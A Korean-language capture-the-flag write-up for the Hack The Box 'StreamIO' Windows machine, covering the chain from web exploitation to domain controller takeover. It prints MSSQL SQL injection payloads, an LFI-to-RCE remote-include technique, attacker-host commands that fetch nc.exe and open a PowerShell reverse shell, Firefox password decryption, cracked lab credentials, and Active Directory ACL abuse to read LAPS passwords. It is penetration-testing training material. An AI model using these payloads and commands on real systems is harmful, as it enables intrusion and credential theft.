01. Summary

Machine IP Address OS Difficulty
StreamIO 10.129.236.229 Windows Medium

StreamIO(Windows) 박스는 웹 애플리케이션 내 존재하는 취약점을 시작으로 Active Directory 환경까지 침투하는 과정입니다. 초기 접근은 SQL Injection을 통해 사용자 자격 증명을 탈취했고, 획득한 계정을 통해 관리자 패널에 접근할 수 있었습니다. 관리자 페이지에서는 LFI(Local File Inclusion) 취약점과 PHP Wrapper를 연계해 RCE(Remote Code Execution)에 도달할 수 있었습니다.

초기 발판을 구축한 뒤, 로컬에 저장된 파이어폭스 프로필을 복화하여 추가 계정을 획득했습니다. 이후 Lateral Movement를 통해 접근 후 잘못된 ACL 설정을 발견했습니다. 특정 그룹에 대한 GenericAll 권한을 이용해 자신을 그룹에 추가하고, 이를 통해 LAPS(Local Administrator Password Solution)의 관리자 비밀번호를 평문으로 획득해 도메인 컨트롤러(DC) 컴퓨터에 접근할 수 있었습니다.

02. Reconnaissance

Port Scan

Nmap을 사용해 전체 포트 스캔 결과 53(DNS), 88(Kerberos), 389(LDAP), 445(SMB) 등이 열려있어 일반적인 Active Directory에 조인된 컴퓨터임을 알 수 있습니다.

└─$ ports=$(sudo nmap -p- -sS -n --open -Pn --min-rate=1500 -T4 10.129.236.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─$ nmap -p$ports -Pn -sV -sC 10.129.236.118 -oA tcpDetailed
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-26 22:29 PST
Nmap scan report for 10.129.236.118
Host is up (0.22s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-27 13:31:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2025-12-27T13:32:34+00:00; +7h01m29s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
60241/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-12-27T13:31:54
|_  start_date: N/A
|_clock-skew: mean: 7h01m28s, deviation: 0s, median: 7h01m28s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.73 seconds

주요 오픈 포트

  • 53/tcp: DNS (Simple DNS Plus)
  • 80/tcp, 443/tcp: IIS 10.0 (Web Server)
  • 88/tcp: Kerberos
  • 389/tcp, 3268/tcp: LDAP
  • 445/tcp: SMB
  • 5985/tcp: WinRM

Hostname Discovery

Nmap 스캔 결과와 SSL 인증서 정보를 통해 도메인 이름을 확인하고 /etc/hosts에 등록했습니다.

# /etc/hosts
10.129.236.118 streamIO.htb watch.streamIO.htb

웹 브라우저를 통해 streamIO.htbwatch.streamIO.htb에 접속하여 서비스를 확인했습니다.

streamIO.htb (443)

watch.streamIO.htb (443)

3. Web Exploitation (SQL Injection)

Directory Brute Forcing & Vulnerability Discovery

watch.streamIO.htb 도메인에서 gobuster를 이용한 디렉터리 브루트포싱 결과, search.php 페이지를 발견했습니다.

search.php는 영화 정보를 검색하는 기능을 제공하며, q 파라미터를 통해 입력을 받습니다.

POST /search.php HTTP/2

Host: watch.streamio.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: https://watch.streamio.htb
Referer: https://watch.streamio.htb/search.php

q=1234

해당 입력값이 서버 측 데이터베이스 쿼에 직접 사용되는 것으로 보였으며, SQL Injection 가능성을 의심했습니다.

1 OR 1=1 입력 시 다음과 같은 오류로 기본적인 SQL Injection 구문을 차단하고 있는것을 확인했습니다.

SQLMap 자동화 도구는 실패했으나, 수동 UNION 구문을 통해 컬럼 개수가 6개임을 확인했고, 데이터베이스 버전 조회를 통해 백엔드가 MSSQL임을 식별했습니다.

컬럼 개수 확인 페이로드

10' union select 1,2,3,4,5,6 -- -

데이터베이스 버전 정보 확인

10' union select 1,@@version,3,4,5,6 -- -

현재 데이터베이스명 추출출

10' UNION SELECT 1,(SELECT DB_NAME()),3,4,5,6 -- -

데이터베이스 내 테이블 정보를 추출하기 위해 STRING_AGG 함수를 사용했습니다. users 테이블을 발견했고 추가적으로 열거를 진행했습니다.

10' UNION SELECT 1, (SELECT STRING_AGG(name, ',') FROM STREAMIO..sysobjects WHERE xtype = 'U' ), 3,4,5,6 -- -

syscolumns 테이블과 sysobjects를 조합하여 테이블 ID를 기준으로 조회했습니다.

10' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users') -- -

10' UNION SELECT 1, CONCAT(username, ' ', password), 3,4,5,6 FROM users -- -

admin 665a50ac9eaa781e4f7f04199db97a11
Alexendra 1c2b3d8270321140e5153f6637d3ee53
Austin 0049ac57646627b8d7aeaccf8b6a936f
Barbra 3961548825e3e21df5646cafe11c6c76
Barry 54c88b2dbd7b1a84012fabc1a4c73415
Baxter 22ee218331afd081b0dcd8115284bae3
Bruno 2a4e2cf22dd8fcb45adcb91be1e22ae8
Carmon 35394484d89fcfdb3c5e447fe749d213
Clara ef8f3d30a856cf166fb8215aca93e9ff
Diablo ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield 8097cedd612cc37c29db152b6e9edbd3
Gloria 0cfaaaafb559f081df2befbe66686de0
James c660060492d9edcaa8332d89c99c9239
Juliette 6dcd87740abb64edfa36d170f0d5450d
Lauren 08344b85b329d7efd611b7a7743e8a09
Lenord ee0b8a0937abd60c2882eacb2f8dc49f
Lucifer 7df45a9e3de3863807c026ba48e55fb3
Michelle b83439b16f844bd6ffe35c02fe21b3c0
Oliver fd78db29173a5cf701bd69027cb9bf6b
Robert f03b910e2bd0313a23fdd7575f34a694
Robin dc332fb5576e9631c9dae83f194f8e70
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
Samantha 083ffae904143c4796e464dac33c1f7d
Stan 384463526d288edcc95fc3701e523bc7
Thane 3577c47eb1e12c8ba021611e1280753c
Theodore 925e5408ecb67aea449373d668b7359e
Victor bf55e15b119860a6e6b5a164377da719
Victoria b22abb47a02b52d5dfa27fb0b534f693
William d62be0dc82071bccc1322d64ec5b6c51
yoshihide b779ba15cedfd22a023c4d8bcf5f2332

Hash Cracking

추출한 MD5 해시들을 Hashcat을 사용하여 복호화했습니다.

└─$ hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt       

3577c47eb1e12c8ba021611e1280753c:highschoolmusical        
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i               
665a50ac9eaa781e4f7f04199db97a11:paddpadd                 
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..         
ef8f3d30a856cf166fb8215aca93e9ff:%$clara                  
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$           
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW                   
6dcd87740abb64edfa36d170f0d5450d:$3xybitch                
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##         

b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!               
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123              
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$  

복호화된 비밀번호는 pass.txt 파일로, 유저명은 users.txt 파일로 저장했습니다.

이후 login.php에 로그인 폼이 있는것을 확인하였고 발견한 사용자명과 비밀번호를 통해 Brute Forcing을 진행했습니다.

└─$ hydra -L users.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

아래와 같이 성공한 계정명을 확인할 수 있습니다.

[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..

확인한 계정명을 통해 로그인 시 관리자 패널을 확인할 수 있었습니다.

4. Initial Access (RCE)

로그인 후 관리자 패널(/admin) 내 기능 마다 파라미터를 다르게 사용하는 것을 볼 수 있습니다.

ffuf를 이용해 파라미터 퍼징을 진행했습니다.

└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ' -t 50 -b 'PHPSESSID=9nro4ld427rs0c7e8rbj3dmvj3' -fs 1678

결과로 debug라는 파라미터도 사용이 가능함을 확인했습니다.

접속 시 오류를 확인할 수 있습니다.

debug 파라미터의 값으로 index.php 파일을 추가 후 전송 시 ERROR가 보이는 것을 확인했습니다. 이전과 다른 메시지로 인해 LFI 취약점이 의심되어 PHP Wrapper를 통해 base64로 소스코드를 덤프했습니다.

php://filter/convert.base64-encode/resource=

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
        header('HTTP/1.1 403 Forbidden');
        die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <title>Admin panel</title>
        <link rel = "icon" href="/images/icon.png" type = "image/x-icon">
        <!-- Basic -->
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <!-- Mobile Metas -->
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <!-- Site Metas -->
        <meta name="keywords" content="" />
        <meta name="description" content="" />
        <meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

        <!-- Custom styles for this template -->
        <link href="/css/style.css" rel="stylesheet" />
        <!-- responsive style -->
        <link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
        <center class="container">
                <br>
                <h1>Admin panel</h1>
                <br><hr><br>
                <ul class="nav nav-pills nav-fill">
                        <li class="nav-item">
                                <a class="nav-link" href="?user=">User management</a>
                        </li>
                        <li class="nav-item">
                                <a class="nav-link" href="?staff=">Staff management</a>
                        </li>
                        <li class="nav-item">
                                <a class="nav-link" href="?movie=">Movie management</a>
                        </li>
                        <li class="nav-item">
                                <a class="nav-link" href="?message=">Leave a message for admin</a>
                        </li>
                </ul>
                <br><hr><br>
                <div id="inc">
                        <?php
                                if(isset($_GET['debug']))
                                {
                                        echo 'this option is for developers only';
                                        if($_GET['debug'] === "index.php") {
                                                die(' ---- ERROR ----');
                                        } else {
                                                include $_GET['debug'];
                                        }
                                }
                                else if(isset($_GET['user']))
                                        require 'user_inc.php';
                                else if(isset($_GET['staff']))
                                        require 'staff_inc.php';
                                else if(isset($_GET['movie']))
                                        require 'movie_inc.php';
                                else 
                        ?>
                </div>
        </center>
</body>
</html> 

응답 값에 인코딩된 BASE64를 디코딩하면 index.php 파일의 소스 코드가 Include되어 LFI 취약점을 확인했습니다.

$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

index.php 파일에서는 내부에서 사용이 가능한 DB 계정 정보가 포함되어 있습니다. 추가적으로 streamio.htb 사이트의 Directory Fuzzing 진행 시 발견한 master.php 파일도 Include를 진행했습니다.

<h1>Movie managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST" action="?movie=">
                                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden> </form>
<?php
if(isset($_POST['include']))
{
    if($_POST['include'] !== "index.php" ) 
        eval(file_get_contents($_POST['include'])); 
    else
        echo(" ---- ERROR ---- ");
}
?>

여기서 중요한 코드는 file_get_contents()로 파일을 읽어와 eval()로 실행하는 구조입니다. 공격자가 서버에 악의적인 PHP 코드를 업로드 후 이를 include 파라미터로 지정한다면 RCE가 가능할 것입니다.

Remote Code Execution

공격자 서버에 임의의 PHP 코드를 생성 후 웹 서버를 가동했습니다.

└─$ cat test.php                
system("whoami");

└─$ python3 -m http.server                                                                                                 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

└─$ python3 -m http.server                                                                      
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.236.229 - - [29/Dec/2025 20:55:20] "GET /test.php HTTP/1.0" 200 -

include 파라미터의 서버 주소 및 파일명을 지정하면 파일을 가져간 뒤 입력한 명령어가 실행되는 것을 확인했습니다. 추가적인 코드 입력 후 서버에서 nc 파일과 curl 명령어를 통해 리버스 쉘을 획득했습니다.

└─$ cat test.php 
system($_REQUEST['c']);

10.129.236.229 - - [29/Dec/2025 22:27:55] "GET /?c=t HTTP/1.1" 200 -
include=http://10.10.14.6:8000/test.php&c=curl+http://10.10.14.6:8000/nc.exe+-o+nc.exe

include=http://10.10.14.6:8000/test.php&c=nc.exe+-e+powershell+10.10.14.6+4444

5. Lateral Movement

MSSQL Enumeration

초기 침투 후 winPEAS 및 파일 시스템을 탐색하던 중, 앞서 LFI로 확인했던 소스 코드 내에서 MSSQL DB 계정 정보를 다시 확인했습니다.

PS C:\Downloads> curl http://10.10.14.6:8000/winPEASx64_ofs.exe -o winpeas.exe
curl http://10.10.14.6:8000/winPEASx64_ofs.exe -o winpeas.exe
 C:\Downloads> netstat -an | findstr "1433"
netstat -an | findstr "1433"
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
  TCP    [::]:1433              [::]:0                 LISTENING
  UDP    [::]:51433             *:*      
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

공격자 머신에서 MSSQL에 접근하기 위해 chisel을 사용한 포트 포워딩(1433 포트)을 설정했습니다.

공격자 머신:

└─$ ./chisel server -p 9999 --reverse
2025/12/29 22:41:08 server: Reverse tunnelling enabled
2025/12/29 22:41:08 server: Fingerprint UhkztsVuBDVFrKeoNV9s9Mxf7HKs/30YPwpdGRaxgSY=
2025/12/29 22:41:08 server: Listening on http://0.0.0.0:9999
2025/12/29 22:42:38 server: session#1: Client version (1.11.3) differs from server version (1.9.1)
2025/12/29 22:42:38 server: session#1: tun: proxy#R:1433=>1433: Listening        

윈도우 머신:

PS C:\Downloads> .\chisel.exe client 10.10.14.6:9999 R:1433:127.0.0.1:1433
.\chisel.exe client 10.10.14.6:9999 R:1433:127.0.0.1:1433
.\chisel.exe : 2025/12/30 05:44:06 client: Connecting to ws://10.10.14.6:9999
2025/12/30 05:44:08 client: Connected (Latency 214.3346ms)

impacket-mssqlclient로 DB에 접속이 가능했습니다.

└─$ impacket-mssqlclient db_admin:'B1@hx31234567890'@127.0.0.1 -p 1433
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands

STREAMIO는 이전에 SQL Injeciton을 통해 데이터를 추출했기 때문에, streamio_backup 데이터베이스를 확인했습니다.

SQL (db_admin  db_admin@master)> use streamio_backup;
ENVCHANGE(DATABASE): Old Value: master, New Value: streamio_backup
INFO(DC): Line 1: Changed database context to 'streamio_backup'.

SQL (db_admin  db_admin@streamio_backup)> SELECT table_name FROM streamio_backup.INFORMATION_SCHEMA.TABLES
table_name   
----------   
movies       
users 

SQL (db_admin  db_admin@streamio_backup)> SELECT * FROM users;
id   username                                             password                                             
--   --------------------------------------------------   --------------------------------------------------   
 1   nikk37                                               389d14cb8e4e9b94b137deb1caf0612a                     
 2   yoshihide                                            b779ba15cedfd22a023c4d8bcf5f2332                     
 3   James                                                c660060492d9edcaa8332d89c99c9239                     
 4   Theodore                                             925e5408ecb67aea449373d668b7359e                     
 5   Samantha                                             083ffae904143c4796e464dac33c1f7d                     
 6   Lauren                                               08344b85b329d7efd611b7a7743e8a09                     
 7   William                                              d62be0dc82071bccc1322d64ec5b6c51                     
 8   Sabrina                                              f87d3c0d6c8fd686aacc6627f1f493a5 

데이터베이스 조회 결과, nikk37 계정을 확인했고 실제로 Active Directory 유저임을 확인했습니다.

PS C:\> net user nikk37
net user nikk37
User name                    nikk37
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2022 1:57:16 AM
Password expires             Never
Password changeable          2/23/2022 1:57:16 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   2/22/2022 2:39:51 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         
The command completed successfully.
nikk37:get_dem_girls2@yahoo.com

크랙된 비밀번호를 통해 Winrm(5985)로 nikk37 계정에 접근이 가능했습니다.

Firefox Credential Decryption

nikk37 계정의 홈 디렉터리에서 winPEAS 결과 등을 분석하던 중, Firefox 프로필 폴더를 발견했습니다.

*Evil-WinRM* PS C:\Downloads> .\winpeas.exe > result.txt
*Evil-WinRM* PS C:\Downloads> download result.txt

Info: Downloading C:\Downloads\result.txt to result.txt
Info: Download successful!

해당 경로에서 key4.dblogins.json 파일을 탈취한 뒤, firepwd.py 도구를 사용하여 저장된 비밀번호를 복호화했습니다.

*Evil-WinRM* PS C:\Downloads> cd C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\
*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release> download key4.db

Info: Downloading C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db to key4.db

Info: Download successful!
*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release> download logins.json

Info: Downloading C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json to logins.json

Info: Download successful!
git clone https://github.com/lclevy/firepwd.git
cd firepwd
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
└─$ python3 firepwd.py 
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
       }
     }
   }
   OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
       }
     }
   }
   OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
 }
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
└─$ crackmapexec smb streamio.htb -u JDgodd -p passwords.txt
SMB         streamio.htb    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         streamio.htb    445    DC               [-] streamIO.htb\JDgodd:password@12 STATUS_LOGON_FAILURE 
SMB         streamio.htb    445    DC               [-] streamIO.htb\JDgodd:paddpadd@12 STATUS_LOGON_FAILURE 
SMB         streamio.htb    445    DC               [-] streamIO.htb\JDgodd:n1kk1sd0p3t00: STATUS_LOGON_FAILURE 
SMB         streamio.htb    445    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r 

그 결과, JDgodd 사용자의 자격 증명을 획득했습니다.

  • User: JDgodd
  • Password: JDg0dd1s@d0p3cr3@t0r

6. Privilege Escalation (Domain Dominance)

JDgodd:JDg0dd1s@d0p3cr3@t0r

획득한 JDgodd 계정으로 BloodHound 데이터를 수집 및 분석했습니다. 분석 결과 JDgodd 사용자는 CORE STAFF 그룹에 대해 GenericAll 권한을 가지고 있었습니다.

ACL Abuse & LAPS Read

GenericAll 권한은 대상 객체를 완전히 제어할 수 있는 권한입니다. 이를 악용하여 JDgodd 계정을 CORE STAFF 그룹에 추가했습니다.

1. 자기 자신 그룹에 추가

1단계: 자신에게 모든 권한(GenericAll) 부여

└─$ bloodyAD --host 10.129.236.229 -d streamio.htb -u JDGODD -p 'JDg0dd1s@d0p3cr3@t0r' add genericAll 'CORE STAFF' JD
[+] JDGODD has now GenericAll on CORE STAFF

2단계: 그룹에 멤버 추가

└─$ bloodyAD --host 10.129.236.229 -d streamio.htb -u JDGODD -p 'JDg0dd1s@d0p3cr3@t0r' add groupMember 'CORE STAFF' JDGODD
[+] JDGODD added to CORE STAFF

2. LAPS 패스워드 읽기 (READ LAPS)

이제 그룹 멤버가 되었으니, DC 객체에 저장된 ms-Mcs-AdmPwd 속성(LAPS 비밀번호)을 요청합니다.

└─$ nxc ldap 10.129.236.229 -u JDGODD -p 'JDg0dd1s@d0p3cr3@t0r' -M laps
LDAP        10.129.236.229  389    DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:streamIO.htb)
LDAP        10.129.236.229  389    DC               [+] streamIO.htb\JDGODD:JDg0dd1s@d0p3cr3@t0r 
LAPS        10.129.236.229  389    DC               [*] Getting LAPS Passwords
LAPS        10.129.236.229  389    DC               Computer:DC$ User:                Password:(xp3TD!P$B50}-

획득한 로컬 관리자 패스워드를 이용하여 도메인 컨트롤러(DC)에 Administrator 권한으로 접속하여 시스템을 완전히 장악했습니다.

evil-winrm -i 10.129.236.229 -u Administrator -p '(xp3TD!P$B50}-'

Conclusion

StreamIO 머신은 웹 취약점(SQLi, LFI)부터 시작해 시스템 내부의 설정 미흡(Firefox 자격 증명 저장)과 Active Directory의 ACL 구성 오류를 연쇄적으로 공략해야 하는 박스였습니다. 특히 LAPS가 적용되어 있더라도, 이를 읽을 수 있는 그룹 권한 관리가 미흡할 경우 시스템이 장악될 수 있음을 보여주었습니다.